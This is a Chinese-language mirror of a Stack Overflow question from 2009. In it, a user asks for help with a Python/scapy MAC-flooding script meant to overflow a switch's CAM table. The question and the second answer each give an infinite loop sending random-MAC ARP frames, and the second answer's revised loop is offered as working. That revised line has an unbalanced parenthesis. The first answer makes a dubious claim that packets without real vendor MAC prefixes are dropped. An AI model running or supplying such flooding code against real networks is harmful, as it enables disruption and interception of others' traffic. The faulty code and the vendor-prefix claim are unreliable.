2009-09-28 54 views
1

我想在python中填充一個小的mac洪水工具來填充我的開關凸輪表,但我不能讓魔法發生?你能看到我做錯了什麼嗎?python/scapy mac洪水腳本

from scapy.all import * 
while 1: 
    dest_mac = RandMAC() 
    src_mac = RandMAC() 
    sendp(Ether(src=src_mac, dst=dest_mac)/ARP(op=2, psrc="0.0.0.0", hwsrc=src_mac, hwdst=dest_mac)/Padding(load="X"*18), verbose=0) 

雖然代碼似乎運行良好,但它沒有完成它的工作。爲了測試它,我用wireshark查看數據包,然後運行THC的寄生蟲「哪些工作」,數據包幾乎相同,所以我不知道發生了什麼。感謝您的任何幫助。

+0

你真的應該縮進代碼 –

+0

感謝名單SilentGhost固定的代碼顯示,我不是肯定的,如果我可以使用設置高亮 – emada

+0

@保羅我副本縮進笑時,我提交它對不起剛剛搞砸粘貼它。 – emada

回答

0

您只能使用一些mac地址:mac地址由六個由兩個十六進制數字組成的組合,由連字符( - )或冒號(:)分隔。前三個字段必須填寫一些值,對於每個供應商都不相同。如果此字段未設置任何供應商代碼,則服務器(或客戶端)將丟棄該數據包。您可以在wireshark manuf文件中找到mac供應商列表,或者直接在Google上查找它。您可以在終端中輸入「sudo ifcofig IFACE ether hw ADDRESS」來檢查地址。

0

Emada,

MAC地址是由交換機通過使用源地址只所以沒有必要擔心目的地隨機化的經驗教訓。

我測試了這個,它似乎工作良好..你可能也想嘗試sendpfast選項洪泛,然而在我的測試這裏sendp似乎工作更快?

from scapy.all import * 

while 1: 
    sendp(Ether(src=RandMAC(),dst="FF:FF:FF:FF:FF:FF")/ARP(op=2, psrc="0.0.0.0", hwdst="FF:FF:FF:FF:FF:FF")/Padding(load="X"*18)))